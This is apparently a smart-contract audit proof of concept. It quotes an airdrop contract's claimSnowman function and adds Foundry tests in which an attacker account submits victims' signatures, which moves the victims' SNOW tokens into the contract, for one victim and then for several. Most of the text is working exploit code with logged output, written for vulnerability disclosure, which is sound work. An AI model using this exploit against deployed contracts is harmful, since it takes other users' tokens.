function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
        external
        nonReentrant
    {
        if (receiver == address(0)) {
            revert SA__ZeroAddress();
        }
        if (i_snow.balanceOf(receiver) == 0) {
            revert SA__ZeroAmount();
        }
        if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
            revert SA__InvalidSignature();
        }
        uint256 amount = i_snow.balanceOf(receiver);
        bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
        if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
            revert SA__InvalidProof();
        }
        
        
@>      i_snow.safeTransferFrom(receiver, address(this), amount); 
        s_hasClaimedSnowman[receiver] = true;
        emit SnowmanClaimedSuccessfully(receiver, amount);
        i_snowman.mintSnowman(receiver, amount);
    }
contract TestSnowmanAirdrop is Test {
	
	address attacker;
     function setUp() public {
       
        
        (alice, alKey) = makeAddrAndKey("alice");
        (bob, bobKey) = makeAddrAndKey("bob");
		
        attacker = makeAddr("attacker"); 
    }
     function testExploit_AttackerStealsAliceTokens() public {
        
        
        vm.prank(alice);
        snow.approve(address(airdrop), 1);
        
        
        uint256 aliceBalanceBefore = snow.balanceOf(alice);
        uint256 attackerBalanceBefore = snow.balanceOf(attacker);
        uint256 contractBalanceBefore = snow.balanceOf(address(airdrop));
        
        console2.log("\n=== BEFORE EXPLOIT ===");
        console2.log("Alice SNOW balance:", aliceBalanceBefore);
        console2.log("Attacker SNOW balance:", attackerBalanceBefore);
        console2.log("Contract SNOW balance:", contractBalanceBefore);
        console2.log("Alice NFT balance:", nft.balanceOf(alice));
        
        
        
        
        bytes32 aliceDigest = airdrop.getMessageHash(alice);
        
        
        (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, aliceDigest);
        
        
        console2.log("\n=== EXECUTING EXPLOIT ===");
        console2.log(" Attacker calling claimSnowman with Alice's address and signature...");
        
        
        
        vm.prank(attacker);
        airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
        
        
        uint256 aliceBalanceAfter = snow.balanceOf(alice);
        uint256 attackerBalanceAfter = snow.balanceOf(attacker);
        uint256 contractBalanceAfter = snow.balanceOf(address(airdrop));
        
        console2.log("\n=== AFTER EXPLOIT ===");
        console2.log("Alice SNOW balance:", aliceBalanceAfter);
        console2.log("Attacker SNOW balance:", attackerBalanceAfter);
        console2.log("Contract SNOW balance:", contractBalanceAfter);
        console2.log("Alice NFT balance:", nft.balanceOf(alice));
        
        
        
        
        assertEq(aliceBalanceAfter, 0, "Alice should have lost her SNOW token");
        
        
        assertEq(contractBalanceAfter, 1, "Contract should have received Alice's token");
        
        
        assertEq(nft.balanceOf(alice), 1, "Alice should have received snowman NFT");
        
        
        assertEq(attackerBalanceAfter, attackerBalanceBefore, "Attacker balance should be unchanged");
        
        
       
        console2.log("\n===  EXPLOIT SUCCESSFUL  ===");
        console2.log("Alice lost 1 SNOW token");
        console2.log("Attacker spent 0 of their own tokens");  
        console2.log("Alice cannot claim again (marked as claimed)");
        console2.log("Alice's token effectively burned (sent to contract)");
        console2.log("Attacker used Alice's own signature against her");
    }
       function testExploit_MultipleVictimAttack() public {
        
        vm.prank(alice);
        snow.approve(address(airdrop), 1);
        vm.prank(bob);
        snow.approve(address(airdrop), 1);
        vm.prank(clara);
        snow.approve(address(airdrop), 1);
        
        console2.log("\n=== MASS EXPLOIT TEST ===");
        console2.log("Initial total SNOW tokens in circulation:", snow.balanceOf(alice) + snow.balanceOf(bob) + snow.balanceOf(clara));
        
        
        bytes32 aliceDigest = airdrop.getMessageHash(alice);
        (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, aliceDigest);
        vm.prank(attacker);
        airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
        
        
        bytes32 bobDigest = airdrop.getMessageHash(bob);
        (uint8 bobV, bytes32 bobR, bytes32 bobS) = vm.sign(bobKey, bobDigest);
        vm.prank(attacker);
        airdrop.claimSnowman(bob, BOB_PROOF, bobV, bobR, bobS);
        
        
        bytes32 claraDigest = airdrop.getMessageHash(clara);
        (uint8 clV, bytes32 clR, bytes32 clS) = vm.sign(clKey, claraDigest);
        vm.prank(attacker);
        airdrop.claimSnowman(clara, CL_PROOF, clV, clR, clS);
        
        
        assertEq(snow.balanceOf(alice), 0, "Alice should have lost her token");
        assertEq(snow.balanceOf(bob), 0, "Bob should have lost his token");  
        assertEq(snow.balanceOf(clara), 0, "Clara should have lost her token");
        assertEq(snow.balanceOf(address(airdrop)), 3, "Contract should have all stolen tokens");
        
        console2.log("MASS EXPLOIT SUCCESSFUL:");
        console2.log("3 victims robbed of their SNOW tokens");
        console2.log("All victims permanently locked out");
        console2.log("Attacker spent 0 gas for victims' transactions");
    }
}